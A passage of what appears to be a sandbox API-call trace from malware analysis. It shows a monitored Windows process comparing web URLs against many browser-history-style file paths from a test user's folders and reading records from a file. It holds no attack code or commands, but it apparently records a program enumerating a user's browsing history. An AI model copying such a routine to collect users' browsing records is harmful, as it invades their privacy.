_String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/5pbmi8.jpg") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/c9bf3zxlekmuces.pptx") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/w39fbpx.pptx") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/c40oh8.xlsx") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/k61u%208qbit65csajnmu.pptx") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/eyo_jfjnlvh.png") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/ma9jv-dyfrqq5wz%20rh.png") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/twly6%20njwxp7s.ots") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/jtfuniuktukb.rtf") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/bhjp5caf9c99.gif") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ylrsy2oezmqpamb5xpsr.mkv") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/xlx9xfvuh.jpg") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/s_upngnh6botne0evc.gif") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/bhevv6.mkv") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/pp66ey.odp") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/1r1kigcrnnjgvfo_x.flv") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/btyd0hrgdblueuq.rtf") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/utqtv2mvpn8rqx.ppt") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/nhdk1klix_x.flv") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/isgcjtsl.xlsx") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/sa--kau.pptx") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gu8x7jtyuieejllb.docx") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/gpxpy.doc") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/-gcilf6cuob%20faba9y.ots") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/kiam-z8ft.png") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/ypjl%20kqd7ou.gif") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/kjo%20dw4y7j6psds.pptx") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/0mck7qex.odt") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/nzix0sllab7kos.flv") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/wf26tyfkwvqf2by4bhd.gif") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/fl_cd2j6qblgazwa2sql.odp") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/7got.flv") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/1af7s2.pdf") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/usy6mrdrok9xbj.jpg") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/fqiucen.pptx") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/mx7wx4e_2m.ods") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/jgo-nkt.pptx") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/xortiubcm%209dtd-.xlsx") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/wovpfsxpf7ltov.xlsx") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/m4b.xls") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/o4g%208wql.ots") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/p61kxiadv1lk3os9qi3q.rtf") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/4_0e8edve.flv") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/videos/ss5todkecrcizvrpi.flv") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/dmwuzqljb06l.flv") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/epgdsrurpjc0tqtqve.jpg") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ggpyrx2ux.png") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/olryse9.pptx") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/w6ad.gif") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/videos/y8zipz.mkv") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/srhckdi.pps") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/fcg74r-hlzx8kpasejr.xls") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/8hx4xzitippukbdb.ots") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/e6gqzqsfu-.ppt") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/h1hmwuywez_o3tm.docx") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="http://google.com") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/asrj.csv") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/pmrh0a5jwr.flv") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yhgdbpj3cxkhlw.gif") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/yelia.bmp") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/xmyeovegmrzxalkg.bmp") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/uosl_1fjka5.flv") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/5h_jfktd9t3cfjg_0bpl.gif") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/videos/fd%200eikyigmitdbhxtw.flv") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/o0q4ua6i.mkv") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/rt-vvidbgwyx6u.gif") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/wvwv-n0sd.pptx") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/rl27ms.mkv") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="https:url \x02") returned -1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="http://www.google.de/") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="https://support.microsoft.com/products/internet-explorer") returned -1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="https://support.microsoft.com/internet-explorer") returned -1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="https://ieonline.microsoft.com/favicon.ico") returned -1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned -1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="http://go.microsoft.com/fwlink/") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned 1 [0069.137] wcscmp (_String1="http://www.msn.com/", _String2="http://www.msn.com/") returned 0 [0069.137] SetFilePointer (in: hFile=0xc8, lDistanceToMove=20736, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5100 [0069.138] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.138] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.138] _strlwr (in: _Str="https://support.microsoft.com/internet-explorer" | out: _Str="https://support.microsoft.com/internet-explorer") returned="https://support.microsoft.com/internet-explorer" [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2=":host: computer") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2=":host: www.google.de") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/ihknzkjo.doc") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/o954v.gif") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/xv29v9lm6u3e.bmp") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/q6o2n7wwkpr.bmp") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/ebi_g_ji2vd2vnklrop5.ppt") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/eye27ehqblhl.bmp") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/bngtvm7.xlsx") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/1qpg-iyvnqu.bmp") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/fpn_m8owaavy2i.ots") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/aarrlt_jtdpkkjt_swo.xls") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/s_xsuwu8qqnzog4v9zrx.mkv") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/w94fqong.rtf") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/kd4kvqssjiojqr1.flv") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/j6dziy9vqbux5.ppt") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/c9ut6lytwia.xlsx") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/s3erd-a.bmp") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/mg6b0r2nv.ots") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/yiw1h.png") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/ftcc9f70gxzbb.gif") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/u_bk5.pps") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/ly3agvy_y5cf6nmd50e1.jpg") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/boukln.flv") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/2serklwgvw2wr0dvkh.docx") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/khpa.jpg") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/lrl%20osdtaq.jpg") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/spfa9u6bx.xls") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/oe_9.docx") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/neys-vvyovcjnl64w.pdf") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/vsiu.ppt") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/xmfffekl.gif") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/x2ubk6qmfay.mkv") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/tgste51da.pdf") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/0dhb1lq5yot7udpqilv.rtf") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/r4xqhuytc.bmp") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yv%20smf4nsa554p3vd9.jpg") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/9fo6aacn.bmp") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/tkhgm7ytxij4tygo3.csv") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/zgid.png") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/2ag4lbo.pdf") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/u_x855jomdyckkuedf4y.jpg") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/gt_uelv0.rtf") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/ktpvxxq7gk6v-bti3h2.csv") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/xi9mo3.ppt") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/ln5snup4dif.flv") returned 1 [0069.138] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ijdl3pp8e7asb.mkv") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/imqafz%20rpvsig5hi.png") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/dogv5_s.png") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/cwnutkiuih3q13b4.png") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/z5jyw4ck3pxgs8vo6pwx.xls") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/h_7vjswkn-j5z6eibtc0.png") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/iy0bs-wzvfapifst.xlsx") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/zq3uv.gif") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/i92xqrotuygpp.png") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/ox2%20tpjk0%20kyqwyzz.docx") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/zrockiiwrql0wttbyu.pdf") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/qbatepvwwrmxg.mkv") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/hp0a.pptx") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/videos/tukxy_htj_46yx.mkv") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/xrlop0fhih6h4mumu.bmp") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/gg7cycfjmtiunlpskcq.pdf") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/rbaw.bmp") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/t6hliemu6l0r.ppt") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/pu8nkjiakvioxnl1gn5.docx") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/u8ej.mkv") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/8wgzy1b.png") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/5pbmi8.jpg") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/c9bf3zxlekmuces.pptx") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/w39fbpx.pptx") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/c40oh8.xlsx") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/k61u%208qbit65csajnmu.pptx") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/eyo_jfjnlvh.png") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/ma9jv-dyfrqq5wz%20rh.png") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/twly6%20njwxp7s.ots") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/jtfuniuktukb.rtf") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/bhjp5caf9c99.gif") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ylrsy2oezmqpamb5xpsr.mkv") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/xlx9xfvuh.jpg") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/s_upngnh6botne0evc.gif") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/bhevv6.mkv") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/pp66ey.odp") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/1r1kigcrnnjgvfo_x.flv") returned 1 [0069.139] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/btyd0hrgdblueuq.rtf") 